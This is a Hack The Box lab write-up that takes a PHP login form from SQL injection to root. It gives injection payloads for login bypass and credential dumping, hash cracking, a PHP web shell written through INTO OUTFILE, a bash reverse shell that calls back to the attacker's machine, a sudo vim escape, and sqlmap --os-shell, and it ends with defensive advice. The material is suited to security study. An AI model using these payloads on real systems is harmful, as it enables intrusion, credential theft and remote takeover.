Overview
This writeup documents the exploitation of a SQL injection vulnerability discovered on a Hack The Box machine, demonstrating the progression from initial injection to full shell access.
Reconnaissance
Nmap Scan
nmap -sC -sV -oA nmap/initial 10.10.10.XX PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.7.32-0ubuntu0.20.04.1 Web Application
The target hosts a PHP web application with a login form:
http://10.10.10.XX/login.php Identifying SQL Injection
Testing the Login Form
POST /login.php HTTP/1.1
Host: 10.10.10.XX
Content-Type: application/x-www-form-urlencoded
username=admin&password=test Response: “Invalid credentials”
Injection Testing
username=admin'&password=test Response: MySQL error exposed!
You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ''admin''' at line 1 Exploiting the Injection
Authentication Bypass
username=admin' OR '1'='1'-- -&password=anything Success! Logged in as admin.
Determining Column Count
Using ORDER BY:
admin' ORDER BY 1-- - ✓
admin' ORDER BY 2-- - ✓
admin' ORDER BY 3-- - ✓
admin' ORDER BY 4-- - ✗ Error The query returns 3 columns.
Union-Based Extraction
' UNION SELECT 1,2,3-- - Column 2 is reflected in the response.
Database Enumeration
-- Get database name
' UNION SELECT 1,database(),3-- -
# Result: webapp_db
-- Get table names
' UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema='webapp_db'-- -
# Result: users,sessions,config
-- Get column names from users table
' UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns
WHERE table_name='users'-- -
# Result: id,username,password,email,role
-- Dump credentials
' UNION SELECT 1,group_concat(username,':',password),3
FROM users-- - Credentials Extracted
| Username | Password Hash | Role |
|---|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin |
| developer | 098f6bcd4621d373cade4e832627b4f6 | user |
| backup | 81dc9bdb52d04dc20036dbd8313ed055 | backup |
Cracking Hashes
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt 5f4dcc3b5aa765d61d8327deb882cf99:password
098f6bcd4621d373cade4e832627b4f6:test
81dc9bdb52d04dc20036dbd8313ed055:1234 From SQL Injection to Shell
Checking MySQL Privileges
' UNION SELECT 1,user(),3-- -
# Result: webapp_user@localhost
' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user='webapp_user'-- -
# Result: N
' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user='webapp_user'-- -
# Result: Y FILE privilege enabled! We can read and write files.
Reading Files
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- - root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:Developer,,,:/home/developer:/bin/bash Writing a Web Shell
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3
INTO OUTFILE '/var/www/html/shell.php'-- - Testing the shell:
curl "http://10.10.10.XX/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data) Reverse Shell
Listener Setup
nc -lvnp 4444 Trigger Reverse Shell
curl "http://10.10.10.XX/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.XX/4444+0>%261'" www-data@target:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data) Privilege Escalation
Enumeration
# Check sudo permissions
sudo -l
# User www-data may run the following commands:
# (developer) NOPASSWD: /usr/bin/vim
# Find SUID binaries
find / -perm -4000 2>/dev/null Sudo Vim Escape
sudo -u developer vim -c ':!/bin/bash' developer@target:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
developer@target:~$ cat user.txt
HTB{SQL_1nj3ct10n_t0_Sh3ll} Root Escalation
Checking for credentials in config files:
cat /var/www/html/config.php <?php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'R00tDBP@ss!';
$db_name = 'webapp_db'; Testing password reuse:
su root
Password: R00tDBP@ss!
root@target:~# cat /root/root.txt
HTB{Fr0m_SQLI_t0_R00t} Automated Exploitation with SQLMap
For reference, SQLMap can automate much of this:
# Dump database
sqlmap -u "http://10.10.10.XX/login.php" --data="username=admin&password=test" \
-p username --dbs
# Get shell directly
sqlmap -u "http://10.10.10.XX/login.php" --data="username=admin&password=test" \
-p username --os-shell Defense Recommendations
Use parameterized queries
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?'); $stmt->execute([$username]);Principle of least privilege — Database users should never have FILE privilege
Web Application Firewall — Block common injection patterns
Input validation — Whitelist allowed characters
Disable error messages — Never expose database errors to users
Stored procedures — Encapsulate database logic
Summary
| Stage | Technique |
|---|---|
| Discovery | Error-based SQLi detection |
| Enumeration | UNION-based extraction |
| File Access | MySQL LOAD_FILE/INTO OUTFILE |
| Initial Access | PHP web shell |
| Privesc 1 | Sudo vim escape |
| Privesc 2 | Password reuse |
Total time: ~2 hours
Key Takeaway: A single SQL injection vulnerability, combined with misconfigured database permissions, led to complete system compromise.